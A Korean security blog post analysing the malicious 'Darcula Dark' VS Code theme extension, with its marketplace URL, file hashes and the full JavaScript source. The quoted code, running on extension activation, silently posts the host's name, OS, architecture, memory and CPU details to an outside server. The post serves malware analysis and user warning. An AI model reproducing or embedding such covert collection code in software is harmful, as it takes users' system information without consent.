꿈을꾸는 파랑새

오늘은 Visual Studio 확장 공식 사이트로 유포된 Darcula Dark 이라는 악성코드에 대해 글을 적어보겠습니다.
Visual Studio Code(이하 VS Code)는 마이크로소프트에서 개발한 인기 있는 소스 코드 편집기이며 다양한 프로그래밍 언어로 작성된 코드를 편집, 디버깅하고 관리하는 데 개발자들에게 널리 사용을 하는 프로그램입니다. 최근 해당 공식 확장 배포 사이트를 통해서 악성코드가 유포되었고 해당 악성코드는 처리되었습니다.
일단 유포 사이트는 다음과 같습니다.

https://marketplace.visualstudio(.)com/items?itemName=NealKornet.theme-darcula-dark

VS CODE Darcula Dark 확장 기능 악성코드
VS CODE Darcula Dark 확장 기능 악성코드

그리고 악성코드 해쉬값은 다음과 같습니다.
파일명:NealKornet.theme-darcula-dark-1.2.14.vsix
사이즈:1.67 MB
CRC32:05208257
MD5:900c8cb3006aa770a4a484d8eedb29e9
SHA-1:60ddd2639f31f460ac4eaa22a336fa3880d9181b
SHA-256:8db49ab9236220c0da6262ab156849b43942ea30a16cc34e9e2f9c0f10b04948
해당 악성코드는 Theme Darcula dark로 유포되었으며 45,000건 이상의 설치 
내부에 포함된 악성코드 되어져 있으며 간단한 테마 구성(코드가 포함되지 않아야 함)이어야 했지만 NPM 악성 패키지에서 매우 흔한 간단한 PII 스틸러 코드를 포함하여 설치 프로그램 설정과 관련된 많은 메타데이터를 원격 시스템으로 전송합니다.
일단 관련 악성코드는 다음과 같습니다.

VS CODE Darcula Dark 확장 기능 악성코드 소스
VS CODE Darcula Dark 확장 기능 악성코드 소스

const vscode = require('vscode');
const https = require('https');
const os = require('os');

const telemetryUrl_activate = 'https://telemetry.poyectobs(.)com/telemetry/activate';
const extensionVersion = vscode.extensions.getExtension('nealkornet.theme-darcula-dark').packageJSON.version;


/**
 * @param {vscode.ExtensionContext} context
 */
function activate(context) {
	const data = JSON.stringify({
		extensionVersion: extensionVersion,
		status: 'activated',
		hostname: os.hostname(),
		platform: os.platform(),
		arch: os.arch(),
		release: os.release(),
		totalmem: os.totalmem(),
		cpus: os.cpus(),
		type: os.type(),
	});

	const options = {
		method: 'POST',
		headers: {
			'Content-Type': 'application/json',
			'Content-Length': data.length,
		},
	};

	const req = https.request(telemetryUrl_activate, options, (res) => {
		console.log(`statusCode: ${res.statusCode}`);
	});

	req.write(data);
	req.on('error', (error) => {
		console.error(error);
	});
	req.end();
}

/**
 * @param {vscode.ExtensionContext} context
 */

function deactivate(context) {
}


module.exports = {
	activate,
	deactivate
};

해당 악성코드를 설명을 하면 다음과 같습니다.
코드의 첫 부분에서 vscode, https, os 모듈을 가지고
해당 모듈들은 VS Code의 확장 프로그램 개발에 사용되는 기본 모듈
telemetryUrl_activate 변수는 데이터를 전송할 텔레메트리 웹 서비스의 URL을 저장하며 해당 URL은 사용자 데이터를 수신하고 처리하는 서비스의 엔드포인트를 가리키고 있음
extensionVersion 변수에는 nealkornet.theme-darcula-dark 확장 프로그램의 버전 정보가 저장
activate 함수는 확장 프로그램이 활성화될 때 호출
함수 내에서는 다음과 같은 작업이 수행
JSON 형식의 데이터 객체를 생성 해당 객체는 텔레메트리 웹 서비스로 전송될 데이터를 담고 있음
extensionVersion:확장 프로그램의 버전 정보
status:activated 로 설정하여 확장 프로그램이 활성화되었다는 상태를 전달
hostname:현재 시스템의 호스트 이름
platform: 현재 시스템의 플랫폼(Windows, macOS, Linux 등)
arch:현재 시스템의 아키텍처 (x86, x64 등)
release:현재 시스템의 운영 체제 버전
totalmem: 현재 시스템의 총 메모리 용량
cpus: 현재 시스템의 CPU 정보
type: 현재 시스템의 운영 체제 유형
options 객체를 생성하여 HTTPS POST 요청에 필요한 설정을 정의
여기서는 POST 요청에 사용될 데이터의 타입과 길이를 설정
https.request 함수를 사용하여 POST 요청을 생성
요청은 telemetryUrl_activate URL로 전송
요청은 options 객체와 함께 생성되며, 데이터는 요청의 body에 포함
요청이 성공하면 서버로부터의 응답(res)에서 상태 코드(statusCode)를 콘솔에 출력
요청이 실패하면 에러(error)를 콘솔에 출력
즉 해당 코드를 악용했을 때 발생을 하는 문제
데이터 유출: 코드에서 수집되는 자료(호스트 이름, 플랫폼, 아키텍처 등)는 개인 정보에 해당할 수 있으며 악용하면 사용자의 개인 정보가 무단으로 수집되고 외부로 유출할 수 있는 문제
사용자 동의 없는 데이터 수집: 코드에서는 사용자 동의 없이 데이터를 수집하고 전송을 하며 해당 부분은 사용자의 사생활을 침해
보안 취약점:코드에서 HTTPS 프로토콜을 사용하고 있지만 데이터의 보안이 보장되지 않을 수 있음 악의적인 목적을 가진 자는 중간에서 요청을 가로채거나 조작할 수 있으며 데이터의 무단 액세스와 변조가 발생할 수 있음
호스트 이름, 운영 체제, CPU 플랫폼, 총 메모리, CPU 수집
확장 프로그램에는 다른 악의적인 활동이 포함되지 않았지만 테마 팩과 관련된 정상적인 동작은 아님
2023-05-20 12:57:26 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 없음 물론 마이크로소프트에서는 해당 확장 기능 삭제
즉 공식 스토어 에서도 악성코드가 있으니 항상 조심하는 습관을 가지는 것이 중요할 것 같습니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band